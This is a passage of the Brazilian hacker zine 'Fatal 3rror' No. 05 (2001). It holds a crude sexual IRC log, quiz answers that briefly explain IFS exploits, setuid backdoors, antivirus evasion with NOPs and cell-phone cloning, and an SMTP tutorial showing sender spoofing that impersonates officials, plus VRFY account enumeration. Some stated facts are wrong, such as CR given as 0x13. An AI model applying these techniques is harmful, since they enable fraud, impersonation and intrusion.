Copy Link
Add to Bookmark
Report
Fatal 3rror - No. 05
Fatal 3rror(0005): Brain not found!
________________________ _______________________________
/ __________ _______ / /_____ _____by_Cheat_Struck__/
/ /__ ___ / /___ / / ___/ /___ ___ __ ___
/ ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \
/ / / _ // // _ // /___ _____/ // _ // _ // O // _ /
/__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\
)/ )/ )/ )/ )/ )/
' ' ' www.fatal3rror.com ' ' '
Participe da nossa promocao! Faca o logo novo da Fatal 3rror
e ganhe um email gratis em fatal3rror.com!!! Leia mais la no
fim dessa edicao...
Fatal 3rror_________________05
Date________________________julho/2001
Founder_____________________Cheat Struck
Email_______________________cheat@struck.8m.com
Page________________________www.fatal3rror.com
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 00 - TopicZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
.od[ 00 ]bo. TopicZ / Cheat Struck
.od[ 01 ]bo. Introducao / Cheat Struck
.od[ 02 ]bo. TipZ / Cheat Struck
.od[ 03 ]bo. Hack Test - Resultado / Cheat Struck
.od[ 04 ]bo. Protocolos Parte II - smtp / pcHazard
.od[ 05 ]bo. Bits / Cheat Struck
.od[ 06 ]bo. Anarchy - Bomba caseira / Carti
.od[ 07 ]bo. Alocacao na Heap / Cheat Struck
.od[ 08 ]bo. iBack - ICMP BACKDOOR / Cheat Struck
.od[ 09 ]bo. Manual Para A Telefonia Publica / onlooker
.od[ 10 ]bo. Escrevendo Exploits de Buffer Overflow com Perl
(Writing Buffer Overflow Exploits with Perl)
/ dublado por BEHAEL
.od[ 11 ]bo. Format Strings / Cheat Struck
.od[ 12 ]bo. Ponteiros / Cheat Struck
.od[ 13 ]bo. Smashing the imagination for fun and profit (Danos)
/ pcHazard
.od[ 14 ]bo. T3kn33ks / Cheat Struck
.od[ 15 ]bo. Uncolor Box / Cheat Struck
.od[ 16 ]bo. Sup3r l33t Pr0gz / Cheat Struck
.od[ 17 ]bo. Emails / Cheat Struck
.od[ 18 ]bo. DuEnde / Cheat Struck
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 01 - Introducao ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Deixa eu explicar uma coisa. Assim como o F representa 15 mesmo sendo
o decimo-sexto numero hexadecimal e 9 eh o decimo numero decimal, 05 eh
a sexta edicao da Fatal 3rror. Puxa! como passa rapido heim... Ainda ontem
eu tava lancando a 00 e ja estamos na 6a. Rlz!
Uma coisa que passou desapercebida na edicao passada eh que a
Fatal 3rror estava comemorando 1 ano de zine. Nao faz mau, comemoremos
nesta edicao com alguns meses de atrazo mas nao da nada. Entao podem
enviar os presentes para meu email. =)
Outra coisa: Eu estou sendo radicalmente plagiado por muita gente.
Ja vi textos meus desde a epoca da TDK serem copiados, mudaram algumas
palavras e o nome do autor. Outros textos que encontrei foram
nitidamente moldados nos meus e em outros textos publicados na F3.
Fora os programas rippados que achei por ae.
Bem... eu fikei lisongeado com isso. E' bom saber que estao lendo
o que eu escrevo, ja que meu email nao eh tao lotado com cartas de fas
enlouquecidos e desvairados. Eu percebi que a F3 ja esta bastante
divulgada e ja atingiu um publico grande. Embora a zine esteje sendo
escrita para um publico mais avancado, mtos rookies estao lendo-a tb
e aprendendo coisas novas.
Eu nao me importo em ser plagiado pq faz um tempo atras que parei
totalmente de me importar com essas coisas banais, mas e' claro que eu
preferiria ver meus textos originais sendo publicados respeitando tb
a autoria. Mas fazer o que neh? O bom e' saber que bastante gente esta
lendo a Fatal 3rror. Issu motiva a continuar escrevendo. =)
Ah!! Se for publicar algo que eu escrevi me avise para eu pelo menos
ter um controle de onde eu estou aparecendo. Isso pq esses dias veio
gente me falando sobre os textos que escrevi para tal zine que eu nem
conhecia. Qdo fui ver era uma materia da f3 q foi colada com os devidos
creditos, entao apenas me avise antes.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 02 - TiPZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Autores dessa edicao:
---------------------
Cheat Struck <cheat@struck.8m.com>
pcHazard <cybercrash@ig.com.br>
Carti <cartilage@bol.com.br>
onlooker <onlooker15@yahoo.com.br>
BEHAEL <behael@mail.com>
Onde baixar a Fatal 3rror???
----------------------------
(olhem como aumentou a lista...
vou colocar apenas alguns dos ends que eu vi ela por ae...)
_Distribuidores Oficiais_
http://www.fatal3rror.com
http://struck.8m.com/f3
_Outros_
http://www.deathknights.com
http://www.txt.org
http://www.onlooker.hpg.com.br
http://4x10m4.vila.bol.com.br
ftp://ftp.netconta.com.br/pub/zines/fatal3rror/
(Se vc tb distriubui a f3, manda um email avisando q publicidade nunca
eh demais =))
Extraindo a f3 e seus programas:
--------------------------------
[root@localhost ~]# tar -zxvf f3-05.tgz
f3/
f3/f3-05.txt
f3/extract.c
[root@localhost ~]# cd f3
[root@localhost f3]# gcc extract.c -o extract
[root@localhost f3]# ./extract f3-05.txt
- Extracting hacktest/respostas.c
- Extracting protocolos/SMTP/smail.pl
- Extracting protocolos/SMTP/b64.txt
- Extracting protocolos/SMTP/vrfy.pl
- Extracting heap/test.c
- Extracting iback/ibclient.c
- Extracting iback/iback.c
- Extracting PerlXploit/vuln.c
- Extracting PerlXploit/makeshellcode.c
- Extracting format/bug.c
- Extracting ponteiros/teste1.c
- Extracting ponteiros/teste2.c
- Extracting Superprogs/analize.pl
[root@localhost f3]#
->Search for "heheh" in #r00t logs
->Matching records: 5038284013
->Fatal 3rror: Stack Overflow!!!
->Select only the idiot logs...
<struck> hehehe
<^^VENTO^^> putz
<^^VENTO^^> tem coisa melhor que cagar e ficar olhando pra possiveis
furos de cgi`s ?
<hated> hahaha
<hated> tem ^^VENTO^^
<hated> isso tudo e achar os furos
<^^VENTO^^> hahaha
<struck> de q furo 6 tao falando... fikei confuso
<^^VENTO^^> ou levar um notebook pro banheiro... colocar pra sniffar
uma eth e ficar olhando oq ele pega... ;~
<^^VENTO^^> caracas
<struck> =)
<hated> HAHAHHAHA
<^^VENTO^^> eu ate arrepio
<^^VENTO^^> ;~
<hated> hehehe
<^^VENTO^^> eu ainda vou ter um notebook
<^^VENTO^^> soh pra levar ele pro banheiro ;~
<struck> hehehe
<hated> hahha
<hated> e bater bronha?
<^^VENTO^^> cagar
<hated> olhando foto da carla perez
<^^VENTO^^> hehe
<^^VENTO^^> isso tb
<hated> o making of
<^^VENTO^^> carla perez eh porca
<hated> hahaha
<^^VENTO^^> sou mais as amadoras
<^^VENTO^^> heheh
<hated> queria eu uma porca dessa na minha cama
<hated> hahaha
<hated> eu tb =)
<hated> eu bato bronha constantemente hehe
<^^VENTO^^> eu tb
<^^VENTO^^> as vezes nem estou excitado
<^^VENTO^^> heheh
<hated> hj bati umas 3
<^^VENTO^^> mas bato soh por bater
<^^VENTO^^> hehe
<hated> pra compensar a semana
<hated> stressante
<^^VENTO^^> essa noite eu sonhei que tava mijando e acabei mijando na cama
<^^VENTO^^> eta merda
<hated> putz
<^^VENTO^^> to fedendo mijo ate agora
<hated> jah aconteceu comigo
<^^VENTO^^> hehe
<hated> HAHAH
<hated> cara
<hated> eu mijei na cama ateh os 11 anos
<hated> =~
<hated> q vergonha hehe
<^^VENTO^^> heheheh
<struck> hehehehe
<hated> ano podia dormir na casa dos colegas
<hated> sux
<struck> tipo..
<^^VENTO^^> pior que eu mijei tao gostoso
<hated> hehe
<^^VENTO^^> hehe
<struck> meu priminho aki... tem 15 anos e inda mija na cama
<^^VENTO^^> acho que foi a melhor mijada que eu ja dei
<^^VENTO^^> hehe
<hated> HAHAHHA
<hated> struck: fiquei feliz =)
<struck> soh tem uma coisa melhor q mijar na cama....
<struck> gozar na cama
<hated> cagar na cama
<hated> hahaha
<struck> emquanto dorme
<hated> cara
<^^VENTO^^> gozar na cama e passar a porra debaixo do colchao
<^^VENTO^^> hehe
<hated> eu antes gozava na cama
<^^VENTO^^> um dia eu fui peidar e caguei ;~
<hated> pq nao batia punheta
<^^VENTO^^> heheh
<hated> poco foda
<struck> eu ja gozei umas 3 vezes de sonhar q tava cumendo uma mina
<hated> HAHHAHA
<^^VENTO^^> struck HAHAHAHAHAHA
<^^VENTO^^> cara essa minha vida eh filha da puta
<^^VENTO^^> eu acordei 4 horas... todo mijado
<struck> foi as melhores masturbacoes da minha vida
<^^VENTO^^> e ate agora nao sai do quarto
<struck> pq nao fiz forca alguma
<hated> HAHAHAH
<^^VENTO^^> nem troquei de ropa
<^^VENTO^^> hehe
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 03 - Hack Test ~YXXXXx_
_xXXXXXX( Resultado )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
O Hack Test publicado edicao passada serviu para demonstrar mais do
que simples medias de quem se propos a responde-lo.
Com ele eu pude verificar como anda a capacidade dos leitores da
Fatal 3rror e ainda ver onde estes tem maiores dificuldades. Esse papo
parece de professor de ingles querendo ver o que seus alunos sabem
atraves de uma prova. =7
Mas eu acabei fazendo uma pesquiza em cima dos resultados e estes
apareceram nesta materia junto com as respostas explicadas para cada
questao.
A media dos resultados do teste fikou em 10 sendo que poucos conse-
guiram atingir uma pontuacao para serem considerados hackers e ninguem
provou ser eleet (ou seja ninguem fez mais de 16 pontos).
Lembra-se de como funcionava a pontuacao??
00a03 - Lamah
04a06 - Begginer
07a12 - Wannabe
13a16 - Hacker
17a19 - Eleet
20 - Guru
Nao sei se esta pontuacao esta adequada pois o teste acabou ficando
mais dificil do que eu pensei que fikaria, porem em poucas questoes era
preciso um conhecimento mais aprofundado na area para responde-la. Estas
serao citadas aki.
Em outras palavras: o teste estava dificil mas nao impossivel.
Outro detalhe a ser descutido: As perguntas foram bem variadas e por
tanto considerou a capacidade do "aluno" generalizando e nao em apenas
uma area.
Caso voce tenha errado alguma pergunta que esta marcada com nivel
Facil ou uma que vc estava crente ter acertado, seria bom estudar mais
esta area.
Agora vamos as respostas:
Pergunta 1.
Assunto: Linux
Nivel: Facil
Resposta: C
Media de acertos: 80%
Em qual situacao o linux precisa ser reiniciado para que as alteracoes
feitas sofram efeito??
A resposta mais correta seria na recompilacao do kernel enbora algumas
distribuicoes do linux seja preciso reiniciar ao mudar a resolucao de
video. Mas ao recompilar o kernel SEMPRE e' preciso reinicia-lo.
Pergunta 2.
Assunto: Linux
Nivel: Facil
Resposta: C
Media de acertos: 60%
Qual FS tem suporte Read-Only ate' o linux2.4.0??
NTFS usado para montar FS de winNT's ainda nao possui suporte para
escrita. =7
Pergunta 3.
Assunto: Linux
Nivel: Facil
Resposta: A
Media de acertos: 90%
Qual a PRINCIPAL funcao do kernel?
Enbora todas as opcoes sejam funcoes exercidas pelo kernel, a princi-
pal eh levar informacoes virtuais aos perifericos do computador onde
ele estiver rodando. Detalhe: esta e' a principal funcao de qualquer OS.
Pergunta 4.
Assunto: Linux
Nivel: Facil
Resposta: A
Media de acertos: 90%
Que nome recebe a operacao por linhas de comandos??
Console. Moleza, foi dada de presente pra ninguem zerar a prova. =)
Pergunta 5.
Assunto: Programacao
Nivel: Facil
Resposta: B
Media de acertos: 90%
O que e' PHP???
PHP = Pre' Processador de Hypertextos.
Pergunta 6.
Assunto: Linux
Nivel: Medio
Resposta: B
Media de acertos: 50%
Como proceder para apagar arquivos que nao permitem o comando ser
completado??
No linux, alem do modo dos arquivos (Write, Read, eXecutable) tambem
e' possivel setar atributos para os arquivos da ext2. Dentre eles o
modo +i impede que os arquivos sejam apagados.
Para retirar este atributo e' usado o comando chattr -i <file>.
Pergunta 7.
Assunto: Linux
Nivel: Medio
Resposta: C
Media de acertos: 80%
Pq winmodens nao rodam em linux?
Esta pergunta poderia ser uma pergunta de nivel medio se o assunto
nao tivesse sido amplamente discutido em varios canais e listas de
discussoes.
Winmodens nao possuem um periferico chamado DSP (Processador de Sinais
Digitais) e a funcao deste e' passada para drivers compilados ate' entao
somente para windows. Algumas organizacoes ja estao criando modules para
estes modens em plataformas linux.
Pergunta 8.
Assunto: Linux
Nivel: Medio
Resposta: B
Media de acertos: 70%
Qual o formato de executaveis no linux?
ELF (Executable and Linkable Format) nao e' somente usado em linux
como em muitos outros sistemas baseados no Unix.
Pergunta 9.
Assunto: Hacking
Nivel: Dificil
Resposta: B
Media de acertos: 40%
Qual endereco refere-se a pilha?
Isto foi visto diversas vezes em tutoriais de buffer overflow e mesmo
assim muitos nao se lembraram. Enderecos que comecao por 0xbfff tem
referencia a pilha.
Pergunta 10.
Assunto: Programacao
Nivel: Medio
Resposta: A
Media de acertos: 30%
Qual o CR/LF???
O Padrao ASCII define:
CR = 0x13
LF = 0x0a
Pergunta 11.
Assunto: Hacking
Nivel: Medio
Resposta: C
Media de acertos: 50%
Como exploitar uma falha de IFS???
O pessoal mais da antiga nao teve dificuldade de responder, ja que
esta falha foi muito explorada a um tempo atras. IFS era uma variavel
do linux que definia o caractere a ser usado para representar um espaco.
Ao alterar esta variavel para "/", qdo o programa tentava executar
por exemplo um "/bin/ls" na verdade estava fazendo um " bin ls". Assim
mudando o PATH era possivel fazer com que o programa executasse uma
shell ou backdoor.
Pergunta 12.
Assunto: Hacking
Nivel: Facil
Resposta: C
Media de acertos: 10%
Suid Shell Backdoors lhe darao que tipo de ID = 0???
Este foi um dos pega-ratao do Teste. =)
A maioria marcou "a) UID", porem Shells marcadas com Setuid sao exe-
cutadas com o UID normal do usuario q a executou e com EUID do usuario
que as marcou (no caso r00t = 0).
Pergunta 13.
Assunto: Hacking
Nivel: Dificil
Resposta: A
Media de acertos: 10%
Qual tekneek costuma ser usada para que anti-virus nao reconhecam o
Virus detectado?
Eu lembro da epoca que qdo falavam em hacker pensavam em virus de
computador. Parece que isso saiu de moda.
Anti-virus possuem trechos de virus conhecidos para que sejam reco-
nhecidos ao detectados. Usando NOPs entre as funcoes ASM o antivirus
nao consegue o mesmo resultado pois o trecho de seu banco de dados sera
diferente do usado no virus.
Pergunta 14.
Assunto: Hacking
Nivel: Dificil
Resposta: C
Media de acertos: 20%
Para onde um programa exploitado por buffer overflow deve ser
redirecionado?
Tanto pode ser para a propria pilha (onde estara o shellcode salvo
no buffer) quanto para a biblioteca padrao de funcoes em C (como visto
no projeto Omega (F3-00.txt)).
Pergunta 15.
Assunto: Phreaking
Nivel: Dificil
Resposta: B
Media de acertos: 20%
O que deve ser reprogramado para clonar um celular??
O MIN nada mais eh do que o numero do celular composto pelo codigo de
area + o numero. Este pode ser alterado pelo proprio teclado do Cell.
ESN eh o Numero de serie do Cell que soh pode ser alterado atravez
de um aparelho especifico. Nota: No Teste foi escrito ESM mas ta valendo
pq deu para entender.
Pergunta 16.
Assunto: Programacao
Nivel: Dificil
Respostas: A e C
Media de acertos: 0%
Qual dos exemplos mostra o bit de paridade corretamente???
Havia 2 respostas certas (Foi erro meu). Entao a questao foi anulada.
O bit de paridade eh explicado nesta edicao...
Pergunta 17.
Assunto: Programacao
Nivel: Facil
Resposta: B
Media de acertos: 40%
Qual dos exemplos mostra respectivamente uma linguagem de alto e
baixo nivel???
Uma linguagem de baixo nivel seria aquela em que o programador pre-
cisa conhecer o funcionamento da maquina para programar. Exemplos disso
seriam linguagens mais antigas como ASM e Algol.
Linguagens de Alto nivel sao exatamente ao contrario. Sao linguagens
com funcoes simples em que qquer um pode escrever seus programas. Ex:
Basic, Pascal, Fortran.
C eh considerada uma linguagem de Medio nivel pois usa funcoes
de baixo e alto nivel.
Pergunta 18.
Assunto: Programacao
Nivel: Medio
Resposta: C
Media de acertos: 30%
Qual a forma correta de se chamar uma estrutura marcada como ponteiro?
Esta e' umas das principais dificuldades para quem esta aprendendo
a programar e tb pra quem ja programa a tempos em C. Isto pq muitos
nao lembram que para chamar ponteiros de estruturas se usa a Seta "->"
ao invez do ponto ".".
A forma correta entao seria "sux->fuck;".
Pergunta 19.
Assunto: Programacao
Nivel: Medio
Resposta: B
Media de acertos: 40%
De quantos bytes sao compostos os vetores de interrupcao??
Bom... poucos perceberam mas para nao deixar esta pergunta com nivel
Impossivel (Ja que uma minoria se dedica a aprender ASM) a resposta era
dada no inicio da pergunta: "Os primeiros 1024 bytes da memoria principal
contem 256 enderecos...".
Por um raciocinio matematico voce descobriria que 1024 / 4 = 256 .
Pergunta 20.
Assunto: Internet
Nivel: Medio
Resposta: A
Media de acertos: 20%
Qual a estrutura da internet??
Voltando as aulas de introducao a internet:
A internet esta em forma de BACKBONE (Espinha dorsal) sendo que os
primeiros computadores sao os nacionais conectados a estaduais, estes
a regionais e assim por diante.
Encerrado o teste vamos a mais dados retirados desta pesquiza:
Como vimos acima os Assuntos de cada pergunta variaram bastante entre:
Linux (7 perguntas)
Programacao (6 perguntas)
Hacking (5 perguntas)
Phreaking (1 pergunta)
Internet (1 pergunta)
---------------------------
Total: 20 perguntas
Vamos ver a media de acertos do teste inteiro:
Assunto Total Faceis Medias Dificeis
---------------------------------------------------------------------
Linux: 73% (7) 80% (4) 66% (3) --- (0)
Programacao: 39% (6) 65% (2) 33% (3) 20% (1)
Hacking: 28% (5) 10% (1) 50% (1) 23% (3)
Phreaking: 20% (1) --- (0) --- (0) 20% (1)
Internet: 20% (1) --- (0) 20% (1) --- (0)
---------------------------------------------------------------------
Total (%): 36% (20) 52% (7) 42% (8) 21% (5)
Acertos: 7.2 3.6 3.4 1.0
Na tabela acima tiramos diversas conclusoes. Vejam que enbora nao tenha
sido feita nenhuma pergunta considerada dificil sobre Linux a media total
ficou bastante boa (73%).
Porem no restante as coisas mudam. No hacking a media poderia ser um
pouco mais alta se a maioria das perguntas dificeis nao tivessem sido
feitas sobre este Assunto.
Com esta tabela tambem concluimos de que o teste foi mau feito pois a
versatilidade entre dificuldade e assuntos nao foi a esperada. Assim seu
resultado eh inseguro. Mas valeu para testar os seus conhecimentos.
Use o programa a seguir para fazer a tabela acima em seu teste individual
e assim verificar onde vc teve maior dificuldade...
<++> hacktest/respostas.c
#include <stdio.h>
main(){
char r[20][2];
int c;
int linux[3]={0,0,0}, prog[3]={0,0,0}, hack[3]={0,0,0}, phr=0, inter=0; //medias
for(c=0;c<20;c++) {
printf("%d Resposta: ",c+1);
scanf("%1s",r[c]);
}
if(r[0][0] == 'c') linux[0]++;
if(r[1][0] == 'c') linux[0]++;
if(r[2][0] == 'a') linux[0]++;
if(r[3][0] == 'a') linux[0]++;
if(r[4][0] == 'b') prog[0]++;
if(r[5][0] == 'b') linux[1]++;
if(r[6][0] == 'c') linux[1]++;
if(r[7][0] == 'b') linux[1]++;
if(r[8][0] == 'b') hack[2]++;
if(r[9][0] == 'a') prog[1]++;
if(r[10][0] == 'c') hack[1]++;
if(r[11][0] == 'c') hack[0]++;
if(r[12][0] == 'a') hack[2]++;
if(r[13][0] == 'c') hack[2]++;
if(r[14][0] == 'b') phr++;
if(r[15][0] == 'c') prog[2]++;
if(r[16][0] == 'b') prog[0]++;
if(r[17][0] == 'c') prog[1]++;
if(r[18][0] == 'b') prog[1]++;
if(r[19][0] == 'a') inter++;
printf("Assunto Total Faceis Medias Dificeis\n");
printf("---------------------------------------------------------------------\n");
printf("Linux: %02d%% (7) %02d%% (4) %02d%% (3) --- (0)\n",
(linux[0] + linux[1])*100/7, linux[0]*100/4, linux[1]*100/3);
printf("Programacao: %02d%% (6) %02d%% (2) %02d%% (3) %02d%% (1)\n",
(prog[0] + prog[1] + prog[2])*100/6, prog[0]*100/2, prog[1]*100/3, prog[2]*100);
printf("Hacking: %02d%% (5) %02d%% (1) %02d%% (1) %02d%% (3)\n",
(hack[0] + hack[1] + hack[2])*100/5, hack[0]*100, hack[1]*100, hack[2]*100/3);
printf("Phreaking: %02d%% (1) --- (0) --- (0) %02d%% (1)\n",
phr*100, phr*100);
printf("Internet: %02d%% (1) --- (0) %02d%% (1) --- (0)\n",
inter*100, inter*100);
printf("---------------------------------------------------------------------\n");
printf("Total (%%): %02d%% (20) %02d%% (7) %02d%% (8) %02d%% (5)\n",
(linux[0] +linux [1] + prog[0] + prog[1] + prog[2] + hack[0] + hack[1] + hack[2]
+phr+inter)*100/20, (linux[0] + prog[0] + hack[0])*100/7, (linux[1] + prog[1] +
hack[1]+inter)*100/8, (prog[2] + hack[2] + phr)*100/5);
printf("Acertos: %02d %02d %02d %02d\n",
(linux[0] +linux [1] + prog[0] + prog[1] + prog[2] + hack[0] + hack[1] + hack[2]
+phr+inter), (linux[0] + prog[0] + hack[0]), (linux[1] + prog[1] + hack[1]+inter),
(prog[2] + hack[2] + phr));
}
<-->
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 04 - Protocolos Parte II - smtp ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ pcHazard _dXXXXP~
~YXXXbx.. ..xdXXXP~
-------------------------------
| Simple Mail Transfer Protocol |
-------------------------------
Introducao
O SMTP, ou Simple Mail Transfer Protocol, foi criado com a intencao de
permitir que usuarios possam enviar mensagens de e-mail atravez
de redes locais ou remotas de forma mais facil e rapida.
O RFC821 foi criado em Agosto de 1982, ou seja, tinha gente que
usava SMTP pra mandar e-mail antes mesmo deu nascer...
Basicamente, a comunicacao usando o protocolo SMTP eh feita entre
duas partes: o servidor e o cliente usando o protocolo TCP/IP
e a porta padrao do servidor SMTP eh a 25.
______ _____
___________ | | | | ________
| || |--------------------------| || |
| || | Comunicacao feita | || |
| LINUX || | usando TCP | || |
|___________||______| porta 25 |_____||________|
Servidor Linux Voce usando
com Sendmail Pine, Kmail,
Outlook e etc.
Funcionamento
O servidor, ao ser ativado, aguarda conexoes do cliente SMTP na
porta 25. Ao se estabelecer a conexao, o servidor envia uma
mensagem de boas-vidas. Ex:
220 Simple Mail Transfer Server Ready
Em toda a transacao, o cliente envia pedidos terminados por um
<CRLF>, quer dizer, um terminador de linha. CRLF significa
Carriage Return Line Feed, ou retorno de carro e alimentacao de
linha. Ele pode variar, mas qualquer servidor ira entender o
conjunto de caracteres ascii 13 e 10 como sendo um <CRLF>.
Depois de cada pedido do cliente, o servidor envia uma resposta.
Ao contrario do POP3, no SMTP existem muitas respostas diferentes
do servidor, diferenciadas por um codigo numerico de 3 letras.
Na maioria dos servidores SMTP, nao eh necessario se autenticar
para enviar e-mails.
--------------------
| Enviando um e-mail |
--------------------
Logo apos o cliente conectar no servidor SMTP, o servidor enviara
um banner contendo a versao do servidor. Deve-se responder com
o comando HELO, que te identificara para o servidor. Segue abaixo a
lista de comandos do SMTP necessarios para enviar uma mensagem de
e-mail. Ao enviar o comando, nao faz diferenca se estah maiusculo,
minusculo ou mixto.
HELO <host>
Identifica o cliente para o servidor. O parametro <host> deve conter
o hostname do cliente. Geralmente pode-se usar "localhost" como
argumento para esse comando.
EXEMPLO:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
MAIL FROM:<origem>
Diz ao servidor que o endereco de e-mail do emissor do e-mail
eh <origem>. Pode-se usar qualquer endereco como argumento para
esse comando, permitindo enviar e-mails com nome de outra pessoa
ateh. Alguns servidores verificam que a origem existe mesmo, mas
isso varia de servidor para servidor.
EXEMPLO:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
MAIL FROM:<fhc@palaciodoplanalto.com.br>
250 fhc@palaciodoplanalto.com.br... Sender OK
RCPT TO:<destino>
Especifica um ou mais destinatarios para a mensagem de e-mail.
Para especificar varios destinos para a mensagem, basta enviar
varios comandos RCPT TO usando os enderecos de destino como
argumento em cada um dos comandos.
EXEMPLO:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
MAIL FROM:<fhc@palaciodoplanalto.com.br>
250 fhc@palaciodoplanalto.com.br... Sender OK
RCPT TO:<central@exercito.mil.br>
250 central@exercito.mil.br... Recipient OK
RCPT TO:<central@marinha.mil.br>
250 central@marinha.mil.br... Recipient OK
RCPT TO:<central@fab.mil.br>
250 central@fab.mil.br... Recipient OK
DATA
250 Enter the data and finish with <CRLF>.<CRLF> itself
From: fhc@palaciodoplanalto.com.br
Subject: Envio de Tropas
A todos os representantes das forcas aereas, maritimas e militares
da Republica Federativa do Brasil
Solicito `a V.Sra. o envio de tropas armadas para toda a America
Latina para dominah-la e nos tornarmos o unico pais que ocupa todo
um continente do Mundo. Caso torne-se necessario, possui minha
autorizacao para usar de maxima forca contra os inimigos desde
que nao haja nenhum risco de vida para as tropas alviverdes.
Exelmo. Presidente Fernando Henrique Cardoso
.
250 Mail accepted for delivery
QUIT
250 Closing transmittion channel.
Hehehe acho que me empolguei.... :-)
DATA
Diz ao servidor SMTP que a mensagem (cabecalho+corpo) serah
enviada para o(s) destino(s). Deve ser dado depois do conjunto
HELO+MAIL FROM+RCPT TO
EXEMPLO:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
MAIL FROM:<cybercrash@ig.com.br>
250 cybercrash@ig.com.br... Sender OK
RCPT TO:<cszine@xoommail.com>
250 cszine@xoommail.com... Recipient OK
DATA
250 Enter the data and finish with <CRLF>.<CRLF> itself
From: pcHazard <cybercrash@ig.com.br>
Subject: Jah dancou com um demonio sob a luz do luar?
Ha mais entre o ceu e a terra do que em toda sabedoria...
.
250 Mail accepted for delivery
QUIT
250 Closing transmittion channel.
QUIT
Finaliza a sessao SMTP.
EXEMPLO:
220 xoommail.com Simple Mail Transfer Service Ready.
HELO localhost
220 HELO xoommail.com
MAIL FROM:<cszine@xoommail.com>
250 cszine@xoommail.com... Sender OK
RCPT TO:<kevin@freekevin.com>
250 kevin@freekevin.com... Recipient OK
DATA
250 Enter the data and finish with <CRLF>.<CRLF> itself
From: CheatStruck <cszine@xoommail.com>
Subject: Me ensina a mandar e-mail bomba
I want to send a mail bomb to my friends. phear me !
.
250 Mail accepted for delivery
QUIT
250 Closing transmittion channel.
VRFY <login>
Serve pra ter certeza que existe uma conta na maquina do
servidor SMTP. Tipo, vc dah um "VRFY <login>" e ele diz
se essa conta existe. Util pra verificar quais logins existem
em um provedor ... (fear me now!)
EXEMPLO:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
VRFY maria
250 Maria Padilha Amaral <maria@genetic.com.br>
VRFY joaozinho
550 Not found
QUIT
250 Closing transmittion channel.
Hehehe, acho que todo provedor tem uma Maria, um Joao, um Pedro...
RSET
Reinicia a sessao SMTP. Limpa todos os remetentes e destinatarios
para a mensagem. O servidor retorna uma mensagem de OK (250).
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
MAIL FROM:<cybercrash@ig.com.br>
250 cybercrash@ig.com.br... Sender OK
RSET
250 OK
MAIL FROM:<topgun@usaf.mil>
250 topgun@usaf.mil... Sender OK
RCPT TO:<comando@fab.mil.br>
250 comando@fab.mil.br... Recipient OK
DATA
250 Enter the data and finish with <CRLF>.<CRLF> itself
To: comando@fab.mil.br
From: topgun@usaf.mil
Subject: Request
Hi, please send me my F117 that I forget in your country...
At last days, I don't know where is my head... I forget all
things that haves nuclear bombs...
.
250 Mail accepted for delivery
QUIT
250 Closing transmittion channel.
NOOP
Nao faz nada, apenas gera usa resposta positiva.
Esse comando eh geralmente mais usado em Brasilia :-)
EXEMPLO:
220 genetic.com.br Simple Mail Transfer Service Ready.
HELO localhost
220 HELO genetic.com.br
NOOP
250 OK
QUIT
250 Closing transmittion channel.
HELP [comando]
Faz o servidor enviar uma lista dos comandos suportados por ele
e para que servem. Caso [comando] seja especificado, fala sobre
o comando [comando].
EXEMPLO:
220 pchazard.net ESMTP Sendmail 8.10.1/8.10.1; Tue, 22 May 2001 10:14:19 -0300
help
214-2.0.0 This is sendmail version 8.10.1
214-2.0.0 Topics:
214-2.0.0 HELO EHLO MAIL RCPT DATA
214-2.0.0 RSET NOOP QUIT HELP VRFY
214-2.0.0 EXPN VERB ETRN DSN AUTH
214-2.0.0 For more info use "HELP <topic>".
214-2.0.0 To report bugs in the implementation send email to
214-2.0.0 sendmail-bugs@sendmail.org.
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
help mail
214-2.0.0 MAIL FROM: <sender> [ <parameters> ]
214-2.0.0 Specifies the sender. Parameters are ESMTP extensions.
214-2.0.0 See "HELP DSN" for details.
